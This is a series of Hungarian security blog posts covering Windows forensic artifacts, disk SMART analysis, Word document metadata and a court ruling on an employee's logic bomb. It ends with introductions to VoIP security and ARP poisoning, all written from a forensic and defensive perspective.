Bármelyik módon is történik, két bejegyzés generálódik a Prefetch mappában (C:\Windows\Prefetch), az egyik a DFRGNTFS.exe-nek, a másik a Defrag.exe-nek. A Prefetchben található információk elárulják, hogy melyik végrehajtható fájlt mikor indították el utoljára és hányszor törént előzőleg indítás.

Mit mondhatunk a két elindítási módról?

GUI
A GUI tulajdonképpen egy snap-in a Microsoft Management Console-hoz, emiatt több helyen is megtalálhatóak elindításának nyomai:

• Prefetch-ben az MMC.exe
• UserAssist kulcsban a dfrg.msc
  
• Az MMC Recent snap-ins registry-bejegyzésében a dfrg.msc, Disk Defragmenter.lnk
  
• Időpecsétek a fájlokon (dfrgntfs.exe)
• A Disk Defragmenter.lnk linkjében
  

Parancssori mód
A parancssoros indítás a defrag c: paranccsal lehetséges. Keletkező nyomok:

• Prefetch
• layout.ini a prefetch mappában. Kis magyarázat: a fájlt a menetrend szerinti defrag nem nyitja meg, nem használja, ellentétben a felhasználó által kezdeményezettel.
• Timeline analízissel viszonylag munkásan bár, de jól következtethetünk manuális defragmentálásra (tipikusan egymáshoz közel helyezkednek el a CMD.exe, a defrag.exe és esetleg még valami, amit megpróbált elrejteni a felhasználó/támadó)

Forensic vizsgálatok 9. - Windows 7 I.

A Windows 7 magyarországi bemutatója nemrég zajlott: nézzünk kicsit körül, hogy forensic szempontból mi minden változott/javult az új verzióban.

Felhasználói profilok
Az Xp-ben alapvetően kétfajta profilt lehetett a felhasználóhoz rendelni: az a célja a dolognak, hogy a felhasználó a domain akármelyik munkaállomására beléphessen, a személyes mappái kövessék hűen. Ilyen klasszikus mappa a My Documents és a többi hasonló nevű, tipikusan a Documents and Settings mappában található. Az ilyen "letöltődő" profilokat roaming profilnak nevezik, és jellemzően pár tíz megás méret fölött ez hosszítja meg jelentősen a belépési procedúrát egy új gépen (e sorok írója egyszer elkövette azt a hibát, hogy négy-öt gigányi zenét tartott a My Documents-mappában, és csodálkozott, hogy miért tart tíz percig belépésnél a felület testreszabása).

Forensic szempontból ez egyrészt azért kellemes, ugyanis a felhasználói adatok jelentős része központilag is megtalálható, tehát ad absurdum az elveszett/letörölt/ellopott munkaállomás nélkül is lehet -korlátozott- analízist végezni. A dolog hátulütője ott van, hogy sokszor nem teljesen világos, hogy a szinkronizáció mely fájlokat érinti, és melyeket nem (tehát pl. a böngészők melyik részbe szemetelnek).

Windows7 alatt explicit meghatározták, hogy a felhasználói profil melyik része romaing és melyik local: a böngészős példánál maradva a cookie cache a roaming részben, a browsing cache és a history a localban található.

IE
Az IE forensic szempontból fontos újítása a "protected mód": azaz ha káros kódot töltene le a böngészőnk, az nem fog tudni a futás ellenére sem kárt okozni - elméletileg. Mivel nem minden felhasználói tevékenység véghezvihető ilyen módban, két mappakészletet is használ a böngészőnk. A buta módú működés során használt mappakészlet itt található:

%userprofile%\AppData\Local\Microsoft\Windows\History\Low\History.IE5

Figyeljük meg a "Low" szócskát, ugyanis nagyrészt itt találhatóak a forensic szempontból fontos dolgok (history, lnk fájlok, tmp mappák stb). A lokálisan megnyitott fájlokkal kapcsolatos dolgok a "rendes" mappakészletben találhatóak.

Persze ki is lehet kapcsolni a "Low" mappák használatát:

• Kikapcsoljuk a "Protected mode" használatát
• Kikapcsoljuk az UAC-ot
• Adminisztrátorként használjuk a böngészőt(!)

Pendrive-ok
Az Xp-ben megismert és bevált artifactok túlnyomórészt változatlanul kereshetőek a 7-ben is, csak helyenként másként hívják a figyelendő logokat és registry-kulcsokat. Itt egy nagyon jó forensic manual a különféle Windows-verziók USB-kulcsokkal kapcsolatos elemzésére.

Csak címszavakban: amikor csatlakoztatunk egy USB-s tárolóeszközt a vindózunkhoz, számos artifact keletkezik, amelyek az eszköz eltávolítása után is megmaradnak. Forensic nyomozás során ezeket a nyomokat keressük, illetve elemezzük. A registryben az alábbi helyeket érdemes figyelni, csatlakoztatott eszközök nyomai után kutatva:

HKEY_LOCAL_SYSTEM\CurrentControlSet\Enum\USBSTOR\ - a csatlakoztatott eszközök azonosítói
NTUSER.DAT\Software\Microsoft\CurrentVersion\Explorer\MountPoints2 - melyik felhasználó csatlakoztatta az adott eszközt?

A gyanúsan keveset használt merevlemez

Nemrég nyomelemeztünk egy meglehetősen csúnya történetben: a kezdetben lelkes, az egész fejlesztési folyamatot egymaga végigdolgozó fejlesztőt a projekt végéhez közeledvén kirúgták, és emiatt búcsúajándékként letörölt mindent a céges fájlszerverekről, amit ért és értékes volt. Visszaadta a laptopját a főnökségnek becsomagolva, leformázva, csodaszép gyári Vistával.

Itt kapcsolódtunk be a történetbe: ha lehet, próbáljunk meg kezdeni valamit a munkaállomással - ami a szervert illeti, nyilván nem készült róla mentés, és a törlés ideje óta folyamatosan ment, néhányszor defragmentálták is. Nem, a sokmilliót érő szoftver forrása sehol máshol nem volt meg, csak Sanyinál (ő a fejlesztő). A laptop immáron másfél évvel ezelőtt került Sanyihoz, azóta csak ő használta.

A notebookban százhúsz gigás egység lakik - ekkora lemezt image-elni jó idő. Már neki is készültünk volna a műveletnek kávéval-cigarettával, mikor szembe ötlött a proszídzsör során korábban kiadott parancs kimenete. No, mi a hiba vele?

root@ubuntu:/root# smartctl -A /dev/sda
smartctl version 5.38 [i686-pc-linux-gnu] Copyright (C) 2002-8 Bruce Allen
Home page is http://smartmontools.sourceforge.net/

=== START OF READ SMART DATA SECTION ===
SMART Attributes Data Structure revision number: 10
Vendor Specific SMART Attributes with Thresholds:
ID# ATTRIBUTE_NAME FLAG VALUE WORST THRESH TYPE UPDATED WHEN_FAILED RAW_VALUE
1 Raw_Read_Error_Rate 0x000f 100 253 006 Pre-fail Always - 0
3 Spin_Up_Time 0x0002 098 098 000 Old_age Always - 0
4 Start_Stop_Count 0x0033 099 099 020 Pre-fail Always - 6
5 Reallocated_Sector_Ct 0x0033 100 100 036 Pre-fail Always - 0
7 Seek_Error_Rate 0x000f 075 060 030 Pre-fail Always - 36204703
9 Power_On_Hours 0x0032 097 097 000 Old_age Always - 61
10 Spin_Retry_Count 0x0013 100 100 034 Pre-fail Always - 0
12 Power_Cycle_Count 0x0033 100 100 020 Pre-fail Always - 6
184 Unknown_Attribute 0x0033 100 253 097 Pre-fail Always - 0
187 Reported_Uncorrect 0x003a 100 100 000 Old_age Always - 0
188 Unknown_Attribute 0x0022 100 096 045 Old_age Always - 55835754519
189 High_Fly_Writes 0x0032 100 100 000 Old_age Always - 0
190 Airflow_Temperature_Cel 0x0032 055 049 040 Old_age Always - 45 (Lifetime Min/Max 17/45)
191 G-Sense_Error_Rate 0x0032 100 100 000 Old_age Always - 0
192 Power-Off_Retract_Count 0x003a 100 100 000 Old_age Always - 731
193 Load_Cycle_Count 0x0012 060 060 000 Old_age Always - 80815
194 Temperature_Celsius 0x003a 045 051 000 Old_age Always - 45 (0 13 0 0)
195 Hardware_ECC_Recovered 0x003e 080 065 000 Old_age Always - 175568345
197 Current_Pending_Sector 0x0032 100 100 000 Old_age Always - 0
198 Offline_Uncorrectable 0x003e 100 100 000 Old_age Always - 0
199 UDMA_CRC_Error_Count 0x0000 200 200 000 Old_age Offline - 0
200 Multi_Zone_Error_Rate 0x0000 100 253 000 Old_age Offline - 0
202 TA_Increase_Count 0x0000 100 253 000 Old_age Offline - 0
254 Unknown_Attribute 0x0000 100 253 000 Old_age Offline - 0

Megvan? Nincs meg? Megmutatom a lényeget:

4 Start_Stop_Count [...] 6
9 Power_On_Hours [...] 61

Tehát a SMART szerint összesen alig több, mint két napot volt bekapcsolva a winchester, és hatszor indult el a gép alatta: nagyon valószínű tehát, hogy a fejlesztő egész egyszerűen kivette a lemezt gépből, és betett helyére egy másikat. A vistásat.

Forensic vizsgálatok 8.- Word dokumentumok vizsgálata

A betörési tesztelés mellett a nyomelemző munkák területe az a témakör, amelyről sok szakmabeli is csak homályos képpel rendelkezik, holott meglehetősen szerteágazó és szövevényes világról van szó. Több posztból álló sorozatunkban igyekszünk felvillantani néhány érdekesebb momentumot nyomelemzős munkáinkról.

Word dokumentumokkal mindenki találkozott már. Ilyen formátumban rengeteg anyag készül, és ennek megfelelően számos incidens kivizsgálásakor szemügyre veszünk ilyen dokumentumokat is.

A Word (és úgy alapvetően a gyakran használt Office-formátumok) fájlformátuma konténer, OLE streameket tartalmaz. Fájlszignatúra szintjén megegyezik az xls, doc stb. formátum:

root@jester:/root# file doksi.doc
doksi.doc: Microsoft Office Document
root@jester:/root#

Zárójelben megjegyezzük, hogy létezik eszköz arra, hogy összeházasítsunk Word dokumentumos és XLS-es streameket: ha az így készült állományt Worddel nyitjuk meg, word dokumentumként viselkedik, ha viszont Excellel, akkor annak rendje-módja szerint számolótábla köszön vissza ránk.

Metainformációk tekintetében több mód is használható.

Véleményezés eszköztár
Gyakori eset, amikor "bennefelejtik" a dokumentumban a véleményezési folyamat során összegyűlt kommenteket. Erről többet nem is mondanánk.

NTFS szintű adatok
A dokumentumok, ha windowsos munkaállomásokon vagy fájleszervereken találkozunk velük, NTFS partíciókon találhatóak - ebből következően az NTFS fájlrendszer által nyújtott szolgáltatásokat (timestampek, ACL-ek stb.) mindenképpen megvizsgáljuk. Természetesen lehet matatni is az időpecséteket.

Metaadatok
Ez már érdekesebb. Egy Word dokumentumhoz több szinten is találhatunk metaadatokat,ezek egy része ADS-ként tárolódik a fájl mögött, másik része magában a doksiban található.

A legnagyobb ilyen, metaadatos fiaskó Tony Blair brit miniszterelnökkel történt, amikor publikálta egy jelentést az iraki helyzettel kapcsolatban - igen ám, csak a jelentés jelentős részét lopták egy már korábbi anyagból. Elkövették azt a hibát, hogy word dokumentum formátumban publikálták az anyagot: a megfelelő eszközzel megvizsgálva a dokumentumot, meglepő metaadatokra bukkanhatunk. Például a Blair-féle dokumentum esetében:

root@jester:/root# perl wmd.pl blair.doc
--------------------
Statistics
--------------------
File = /root/blair.doc
Size = 65024 bytes
Magic = 0xa5ec (Word 8.0)
Version = 193
LangID = English (US)


Document was created on Windows.

Magic Created : MS Word 97
Magic Revised : MS Word 97

--------------------
Last Author(s) Info
--------------------
1 : cic22 : C:\DOCUME~1\phamill\LOCALS~1\Temp\AutoRecovery save of Iraq - security.asd
2 : cic22 : C:\DOCUME~1\phamill\LOCALS~1\Temp\AutoRecovery save of Iraq - security.asd
3 : cic22 : C:\DOCUME~1\phamill\LOCALS~1\Temp\AutoRecovery save of Iraq - security.asd
4 : JPratt : C:\TEMP\Iraq - security.doc
5 : JPratt : A:\Iraq - security.doc
6 : ablackshaw : C:\ABlackshaw\Iraq - security.doc
7 : ablackshaw : C:\ABlackshaw\A;Iraq - security.doc
8 : ablackshaw : A:\Iraq - security.doc
9 : MKhan : C:\TEMP\Iraq - security.doc
10 : MKhan : C:\WINNT\Profiles\mkhan\Desktop\Iraq.doc

--------------------
Summary Information
--------------------
Title : Iraq- ITS INFRASTRUCTURE OF CONCEALMENT, DECEPTION AND INTIMIDATION
Subject :
Authress : default
LastAuth : MKhan
RevNum : 4
AppName : Microsoft Word 8.0
Created : 03.02.2003, 09:31:00
Last Saved : 03.02.2003, 11:18:00
Last Printed : 30.01.2003, 21:33:00

--------------------
Document Summary Information
--------------------
Organization : default

Jó vadászatot!

Forensic vizsgálatok 7.- Windows Xp restore pointok

A betörési tesztelés mellett a nyomelemző munkák területe az a témakör, amelyről sok szakmabeli is csak homályos képpel rendelkezik, holott meglehetősen szerteágazó és szövevényes világról van szó. Több posztból álló sorozatunkban igyekszünk felvillantani néhány érdekesebb momentumot nyomelemzős munkáinkról.

A Windows Xp-ben bemutatkozott egy csodálatos új szolgáltatás, amelynek keretében a felhasználó vissza tudja állítani a rendszerét olyan régebbi állapotba, amikor működött.

Mielőtt rátérnénk arra, hogy miért is jó forensic szempontból a system restore pointok vizsgálata, kicsit fussuk át a szolgáltatást. Először is, a SRP-k alapvetően az alábbi elemeket tartalmazzák visszaállítási céllal (testre is lehet szabni a dolgot a megfelelő célszerszámmal, ez esetben új elemek is jöhetnek a listába):

• A Registry bizonyos részei
  
• Local profilok (nem roaming értelemben)
• COM+ objektumok adatbázisa
• A Windows File Protection DLL cache-e (emlékszünk ugye, ebből a tiszta forrásból javítja meg a windows a DLL-eket, amelyeket gonosz módon megbuherálunk kedvenc rootkitünkkel a tesztrendszerünkben)
  
• WMI adatbázis
• IIS metabase
• Azok a fájlok, amelyeket beleteszünk a testreszabásba

Mi az, ami kimarad a visszaállításból? Figyelem: attól, hogy a visszaállításban nem szerepelnek az alábbi elemek, még biztonsági mentési céllal simán belekerülhetnek az SRP-kbe!

• A SAM hive (asszociálunk a "felhasználók" és a "jelszavak" stringekre, és igen, bizonyos részeit biztonsági menti a Windows annak ellenére, hogy visszaállításkor nem másolja vissza őket)
• A DRM menedzsment beállításai
• A wifi hálózatok kulcsai
• Azok a fájlok, amelyeket explicit kihagyunk a testreszabásban

A System Restore Service futásához meglehetősen sok hely szükséges, nagyjából 200MB szabad helynél kevesebb esetén a szolgáltatás egész egyszerűen pihenni tér, ekkor nem készülnek SRP-k, a forensic elemző pedig gondolkodhat, hogy miért is hiányzik néhány, aminek márpedig ott kéne lennie.

A System Restore Service futásával kapcsolatos információk a Registryben találhatóak, az alábbi kulcs alatt:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore

A fenti kulcsban található értékek mindent elárulnak a szolgáltatás paraméterezéséről:

• A DisableSR szabályozza, hogy be legyen-e kapcsolva a szolgáltatás.
  
• Az RPGlobalInterval mondja meg, hogy milyen gyakran készül SRP.
• Az RPLifeInterval mutatja meg, mennyi legyen az SRP-k élettartama, alapkiépítésben 7776000 másodperc, azaz 90 nap.

Mire használhatóak az SRP-k? Egyrészről registry mentéseket tartalmaznak. Az SRP-kben egyébként rengeteg, forensic szempontból fontos fájl megtalálható, például:

• Majdnem a teljes registry
  
• RP.log: megtalálható benne az SRP típusa, némi szöveges információ a keletkezés körülményeiről, egy 64 bites FILETIME objektum, amiből meglehetősen pontosan megvan, mikor készült a mentés a rendszeróra szerint. Ez utóbbinak ott van jelentősége, hogy az RP-oknak egyedi szekvenciális sorszámuk van, és ha az idő összevissza telik az RP-k sorszámait tekintve, akkor nagy valószínűséggel machináltak a rendszeridővel akkoriban.
• Change.log.x fájlok: ha egyszer elkészült az SRP, akkor a visszaállítható fájlokat továbbra is figyeli a rendszer, a fájlokon bekövetkezett változásokról napló készül (igaz, bináris).
  

Olvassatok néha CD-jogtárat

Mi mindenbe botlik az ember, ha a jogtárban nézegeti a BTK.300§-as paragrafusához tartozó magyarázatokat és határozatokat. :)

Érdemes végigolvasni, én nagyot nevettem a felmerült probléma megoldásán. Mostanában valahogy benne van a levegőben az, hogy a fejlesztők valamilyen visszaélést követnek el a munkaadó (megbízó) kárára - vajon a nehéz gazdasági helyzet teszi...? A sztori nem mai, de tessék-tessék, olvassatok. Egy kávé elfogyasztása alatt megvan.
BH1999. 145.
A számítógépes csalás bűntettének a kísérletét valósítja meg, aki a
számítógépes adatfeldolgozás eredményét meg nem engedett művelet
végzésével, nevezetesen vírusok becsempészésével tudatosan akként
befolyásolja, hogy ezáltal a programok működésre képtelenné váljanak, és
így a sértettnek ebből kára származhat [Btk. 16. §, 300/C. § (1) bek.].
A városi bíróság a vádlottat bűnösnek mondta ki számítógépes csalás
bűntettében [...].
A vádlott 1991. október 1. napjától munkaviszonyban állt az R. Kft.-nél,
a munkáját azonban kirendelés alapján a K. gyáregységében végezte. Az
1992. október 1. napján létesített munkaszerződés szerint a vádlott
munkaköri leírása alapján feladata volt az üzemet átfogó
számítástechnikai rendszer kidolgozása, annak gyakorlati alkalmazása,
illetve a vevői igényeknek megfelelő termelés szervezése, követése és a
gépi adatfeldolgozók szakmai irányítása. A vádlottat terhelte a
számítástechnikai adatok tekintetében a pontos adatszolgáltatásért való
felelősség. A munkaköri leírásban szereplő feladatok ellátásáért a
vádlott havi bérezésben részesült.
A vádlott a munkaszerződésben foglalt kötelezettsége alapján a
gyáregység részére 4 db programot írt, amelyek a vállalat
gazdálkodásának regisztrálásában, az ügyvitel szervezésében és a vezetői
információ adásában működtek közre. A vádlott az általa megírt két
programba - pontosan meg nem határozható időben - olyan kódsorozatot
épített be, amely az aktiválását követően a programokat fizikálisan
megsemmisíti, a harmadik programba pedig olyan kódsorozatot épített be, amely egy meghatározott naptári időpont bekövetkezése után a program működését - annak fizikai rombolása nélkül, a program végtelen ciklusba juttatásával - lehetetlenné teszi. A vádlott az általa kiépített
rendszerre vonatkozóan a romboló rutinok beépítéséről a munkáltatóját
nem tájékoztatta.
Amikor 1996. év tavaszán a vádlott és a kft. tulajdonosa között a
számítógépes rendszer tulajdonjoga tekintetében vita alakult ki, a
munkáltató a vádlott foglalkoztatását 1996. április hó 2. napján
azonnali hatállyal megszüntette.
Miután a munkáltatónak nem volt tudomása a működő rendszerbe épített
romboló motívumokról, a programok 1996. április 11-én és a 28-át követő
napon magukat részben megsemmisítették, illetve működésképtelenné
váltak, így a gyáregységnél a termelés irányítása, regisztrálása és az
árukiadás kb. 1 napra lehetetlenné vált. A leállást követően a vállalat
munkatársai a számítógépes rendszert beindították úgy, hogy a mindenkor
esedékes időpont (év, nap, hó) az év vonatkozásában visszadátumozásra
került. A rendszer a mai napig visszadátumozva működik.
A vádlott magatartásával a gyáregységnek mintegy 500 000-600 000 forint
kárt okozott, amely a rendszer kijavításával merült fel.
Az elsőfokú bíróság ítélete ellen a vádlott és a védője felmentés végett
jelentett be fellebbezést, amit a másodfokú tárgyaláson is fenntartottak.
A megyei főügyész az elsőfokú bíróság által megállapított tényállás
kiegészítése mellett az elsőfokú bíróság ítéletének a helybenhagyását
indítványozta.
A megyei bíróság az elsőfokú bíróság ítéletét felülbírálva azt
állapította meg, hogy az elsőfokú bíróság az ügyet alapvetően
felderítette, a tényállást a rendelkezésre álló bizonyítékok egyenként
és összességében történő okszerű mérlegelése alapján állapította meg,
ami azonban az iratok alapján a Be. 258. §-a (1) bekezdésének a) pontja
alapján kiegészítésre szorul, az alábbiak szerint.
A vádlott a romboló rutinokat és a programokat végtelen ciklusba küldő
kódrészletet 1994. évben - közelebbről meg nem határozható időpontban -
építette be a programokba, a romboló hatást időről időre aktiválni és
deaktiválni kellett. A vádlott magát a védelmet is megváltoztatta.
A programba épített romboló rutint 1995. november 3-án módosította a
vádlott 1996. január 17-i lejárati idővel, ezt a rutint azonban nem
aktiválta, így a programban kár nem keletkezett.
A vádlott a programot 1995. november 2-án módosította, akkor lejárati
időnek 1996. január 17-ét jelölte meg, ezt követően a lejárati időt
1996. január 16-án és március 20-án április 28-ára állította be, a
végtelenített ciklusba küldő kódrészletet pedig aktiválta.
A vádlott a foglalkoztatásának megszűnésekor, 1996. április 2-án - de
azt követően sem - a beépített vírusrendszerű programrészletekről a
munkáltatóját nem tájékoztatta, így azok a lejárat időpontjában a
programokban működésbe léptek, azokat használhatatlanná téve. A
programok működésképtelensége addig tartott, amíg a rendszer
visszadátumozásával ismét működőképes állapotba nem helyezték. A
rendszer a mai napig is működik.
A romboló rutinokat kizárólag olyan személy építhette be a programba,
akinek birtokában volt a forráskód, a programok dokumentációja, és a
fejlesztőnyelvet is használni tudta. A sértett cégnél ezekkel az
anyagokkal és tudással kizárólag a vádlott rendelkezett.
A beépített romboló rutinok és a végtelenített ciklusba juttató
kódrészlet a tárolt információkat, adatokat nem, kizárólag a programot
védte. Azok beépítése a vádlotton kívül a többi felhasználó előtt nem
volt felismerhető, így aktiválható és deaktiválható sem. A beépítés
kizárólag azt a célt szolgálta, hogy szükség esetén a vádlott a
programok működését lehetetlenné tegye.
A fenti kiegészítésekkel az elsőfokú bíróság által megállapított
tényállás megalapozott, és a felülbírálat során is irányadó volt.
A felmentésre irányuló fellebbezések nem alaposak.
A tanúvallomásokból, de különösen a szakértői véleményből egyértelműen
megállapítható, hogy a vírusszerű részeket a vádlott szándékosan
építette be a programokba, azokat szándékosan aktiválta, a vírusszerű
részek beépítéséről, de a deaktiválás lehetőségéről sem tájékoztatta a
sértett vállalatot; egyébként maga a vádlott is elismerte, hogy ezeknek
a részeknek a programba történő beépítéséről senkit nem tájékoztatott.
Mindezekre figyelemmel az elsőfokú bíróság helyesen vetette el a
vádlottnak azt a védekezését, hogy a romboló rutinok beépítésére
adatvédelmi célokból volt szükség. A vádlott részéről a romboló rutinok
beépítésére nyilvánvalóan azért került sor, hogy az általa
kifejlesztett, de a munkáltatója tulajdonában levő programot nélküle ne
lehessen üzemeltetni.
Mindezekre figyelemmel a vádlott felmentésére nem kerülhetett sor.
Az elsőfokú bíróság az irányadó tényállás alapján törvényesen vont
következtetést a vádlott bűnösségére, a cselekmény jogi minősítése
azonban téves.
A számítógépes csalás bűntettének jogi tárgya a számítógépek
memóriájában tárolt adatok biztonságába vetett bizalom, ezen keresztül a
vagyonvédelem és a tulajdoni viszonyok védelme, az elkövetési tárgy
pedig a számítógépes adatfeldolgozás eredménye.
Az elkövetési magatartás: a program megváltoztatása, törlése, hiányos
adatok betáplálása és egyéb meg nem engedett műveletek végzése. Az adott
esetben az utóbbiról van szó, amelynél elsődleges helyet foglal el a
vírusok becsempészése.
Ez a bűncselekmény célzatos, mely jogtalan haszonszerzésre vagy kár
okozására irányul. Az adott esetben jogtalan haszonszerzésről
nyilvánvalóan nem lehet beszélni, a kárnak eredmény formájában kell
jelentkeznie, így a károkozást eredményező fordulat esetében a
cselekménynek eredménye van: a program megváltoztatása és az ebből adódó
kár. Befejezetté a cselekmény a kár bekövetkezésével válik, mindaddig,
amíg a program megváltoztatása károkozással nem jár, a cselekmény
kísérleti szakban van. A kár fogalmát a Btk. 333. §-ának 2. pontja
határozza meg, mely szerint kár a bűncselekménnyel a vagyonban okozott
értékcsökkenés. Ez pedig a megyei bíróság megítélése szerint nem lehet
az a túlóraként kifizetett munkabér, ami a rendszer átprogramozásához
szükséges idő miatt került kifizetésre.
Miután szándékos bűncselekményről van szó, a megállapított tényállásból
levonható az a következtetés, hogy a vádlott tisztában volt azzal, hogy
cselekménye az adatfeldolgozás eredményét megváltoztatta, és
belenyugodott abba, hogy cselekménye kárt okoz, ez a kár azonban a
rendszer újraindítása miatt nem következett be a sértett vállalat
vagyonában. Így a megyei bíróság megítélése szerint a vádlott a Btk.
300/C. §-ának (1) bekezdésében meghatározott számítógépes csalás
bűntettének a Btk. 16. §-a szerinti kísérletét valósította meg. Ezért a
megyei bíróság az elsőfokú bíróság ítéletét eszerint megváltoztatta.
Enyhítésre irányuló fellebbezés nem volt ugyan, ennek a lehetőségét is
vizsgálta azonban a megyei bíróság. E körben megállapította, hogy az
elsőfokú bíróság a bűnösségi körülményeket helyesen tárta fel, további
enyhítő körülmény, hogy a cselekmény kísérleti szakban maradt. Ennek
ellenére az elsőfokú bíróság az enyhítő rendelkezés alkalmazásával
inkább enyhe, mint eltúlzott büntetést szabott ki, így a büntetés
enyhítésére nem kerülhetett sor.
A fentiekre figyelemmel a megyei bíróság a cselekmény minősítésének
megváltoztatásán túl az elsőfokú bíróság ítéletét helybenhagyta.
(Szabolcs-Szatmár-Bereg Megyei Bíróság 2. A. Bf. 1150/1997. sz.)

VoIP biztonság 1. - Bevezetés

A VoIP az, ami kihozta a switcheket az alagsorból. Alapvetően arról van ugye szó, hogy az adatátviteli hálózatba valamilyen módon hangot eresztünk, a túlvégen pedig hanggá alakítva a hálózati forgalmat gyakorlatilag feltaláltuk a madzaggal összekötött konzervdobozok új generációját.

A VoIP melletti érvként szokták azt felhozni, hogy költséget lehet csökkenteni a bevezetésével - válság sújtotta időkben ez komoly érv. A másik oldalról kevesebb szó esik: a VoIP bevezetésével jóval komolyabb hálózati infrastruktúrára, képzettebb üzemeltetőkre van szükség, ami nagy hálózatok esetében már nem kis költséget eredményez.

A VoIP a biztonságot illetően rengeteg hendikeppel indul. Első körben ott van kapásból az, hogy az IP-t nem "Vo"-ra találták ki: a TCP/IP protokollstack kialakításakor nem volt szempont a valósidejű kommunikáció igénye, ami létfontosságú a VoIP használatakor. Erre a problémára hálózati eszközök révén próbálnak megoldást adni a gyártók: visszás helyzet az, hogy egy "converged network"-ön (amelynek a nevéből fakadóan együtt kéne vinnie a hangot a többi adattal) mindenféle Layer2-es és Layer3-as technikákkal próbálják mégis elkülöníteni a kétféle forgalmat, ugyanis a valósidejű kommunikáció szempontjából egy-két elvesztett csomag nem probléma, viszont a késleltetést nem viseli el az üzemszerű használat - pont ellentétben a hagyományos adatforgalommal.

Másrészt a VoIP ott is vérzik, hogy számtalan jelzés- és hangátviteli protokoll használható hangtovábbításra, viszont ezek egy része jogilag zárt (pl. a Skype forgalma).

Harmadrészt ott akkor is problémába ütközünk, amikor "hagyományos" hálózatiforgalom-szabályozó eszközökön próbáljuk keresztülvinni a hangforgalmat: mindkét elterjedt protokoll külön csatornát használ a jelzések átvitelére, mint a hangéra, és ezen forgalom sok esetben kevéssé rögzített TCP portok között zajlik, emiatt nehezen tűzfalazható. A NAT-olás meg végképp megöli a dolog biztonságát, ugyanis a H.323 és a SIP nem, vagy csak nagyon nehezen titkosítható NAT esetén.

Összegezve azt mondhatjuk, hogy a VoIP - mivel IP fölött zajlik - ötvözi a hagyományos TCP/IP protokollstack sebezhetőségeit újabbakkal. A klasszikus ARP poisoning, floodolás, ICMP-üzenetinjektálás, sniffelés satöbbi remekül működik a legtöbb VoIP hálózatban, cserébe a SIP önmagában is hoz újabb támadási vektorokat a képbe.

A sorozat további részeiben sorra vesszük a VoIP sebezhetőségeit.

DisableLastAccess

Az időpecsétekkel foglalkozó bejegyzésben elég bőven tárgyaltuk az NTFS időpecsétek témakörét.

Ma viszont egy malware által fertőzött gép vizsgálata közben lett gyanús, hogy bár a gép folyamatosan használatban volt, a fájlok last accessed időpecsétjei az újabban létrehozott fájlok esetében nem különböznek a létrehozás időpontjától - annak ellenére, hogy én bizony kézzel beleírtam a reggel létrehozott kiscica.txt-be, hogy kutyus.

Kicsit utánajártam a jelenségnek, és egészen egyszerű magyarázatra leltem: a Windows Xp lehetőséget ad arra, hogy a registryben kikapcsoljuk a fájlok Last Accessed időpecsétjeinek frissítését. Hovatovább, ez a beállítás Vistában már alap - a magyarázat szerint elsősorban nagy mennyiségű, apró fájlok tömeges írásakor eredményezhetett jelentős overheadet az időpecsétek frissítgetése az oprendszer számára.

A kulcs egyébként itt van: HKLM\SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisableLastAccessUpdate

Meglepő, mikbe botlik néha az ember, amikor vírust irt.

Bolhapiac

Bolhapiacon mindig vicces dolog számítógépet venni, főleg komplettet monitorral meg billentyűzettel. Egy ismerősöm vásárolt a mayfairi piacon egy komplett Compaq munkaállomást színben és dizájnban hozzá passzoló monitorral meg kiegészítőkkel, az egész eszcájgért negyven fontot fizetett egy alacsony, kopasz töröknek. Megkért, hogy tegyünk rá Xp-t.

Hazahozta a gépet, és már első ránézésre gyanús lett, hogy a brit egészségügyi hivatal, az NHS matricája virít az elején. A csodálkozás még nagyobb lett, amikor bekapcsoltuk, és simán elindult a rátelepített Xp... mint kiderült, egész egyszerűen kihúzták a dugót a hálózatból és selejtezték a vasat, az adatok törléséről (urambocsá' megsemmisítéséről mondjuk egy közepes méretű pneumatikus ütvefúróval) nem gondoskodtak.

Helix-szel image-eltük a vinyót, és megnéztük, mi mindent rejt. Meglepően érdekes dolgokat találtunk. Itt voltak például a 360 fokos értékelés sablonjai (ezeket elsőre felismertük, ugyanis rájuk van írva hatalmas betűkkel), rengeteg Excel-tábla, Word-doksi, amik bizonyára érdekes adatokat rejtenek.

A briteknél amúgy is nagy hagyománya van a fontos adatok elhagyásának, de azért egészen meglepő, hogy a fontos adatokért bolhapiacra kell menni.

Problémák a másodikon

A TCP/IP-s világ második rétegében csupa olyan protokoll található, amiről a legtöbb felhasználónak nem sok ismerete van - IP-címekről meg TCP-s portokról talán még hallanak, azonban ennél mélyebb rétegbeli dolgokkal nem nagyon kerülnek kapcsolatba. Hovatovább, sok szakmabelinek sincs meg sokkal több az L2-es világ lakóiról annál, hogy "ezek azok az csomagok, amiket a Wireshark mindenféle színekkel jelöl".

Biztonsági szempontból a layer2-es protokollok meglehetősen fekete báránynak számítanak, ugyanis mint látni fogjuk, igen nagy problémákat lehet okozni céltudatos használatukkal, viszont a klasszikus hálózatbiztonsági eszközpark alatt szó szerint átcsúsznak - lévén a tűzfalak, IPS/IDS-ek többnyire IP rétegben és afölött elemzik a hálózati forgalmat.

ARP
A nagy öreg. Address Resolution Protocolt jelent - ennek használatával kapcsolják össze a hálózati végpontok és a switchek a logikai IP-címeket a hálókártyák fizikai MAC-címeivel. Az ARP klasszikus példája az internet hőskorában megalkotott, feltétlen és teljes bizalmon alapuló protokolloknak: működése során egyrészt meg lehet kérdezni broadcastban egy IP-címhez tartozó MAC-címet. Lehet gratuitous, azaz kéretlen ARP válaszokat is küldeni: broadcastban megy, és mindenki, aki hallótávolságon (azaz ugyanazon a broadcast domainen) belül lakik, az eltárolja a válaszban kapott információkat.

Ezzel pedig remek játékokat lehet játszani, lévén a switchek annyit figyelnek, hogy melyik lábukon melyik MAC-cím lakik, és a hozzájuk érkező frame-ek destination MAC mezőjének figyelése alapján eldöntik, melyik lábukra kell továbbküldeni őket. A támadás ARP poisoning néven vált híressé: a gonosz támadó (M) keres két, egymással kommunikáló hosztot (A-t és B-t), majd elhiteti A-val, hogy B IP-címe megegyezik M MAC-címével, illetve B-vel, hogy A IP-címéhez is M MAC-címe tartozik. Bingo, a switch az A és B közötti adatforgalmat M felé irányítja.

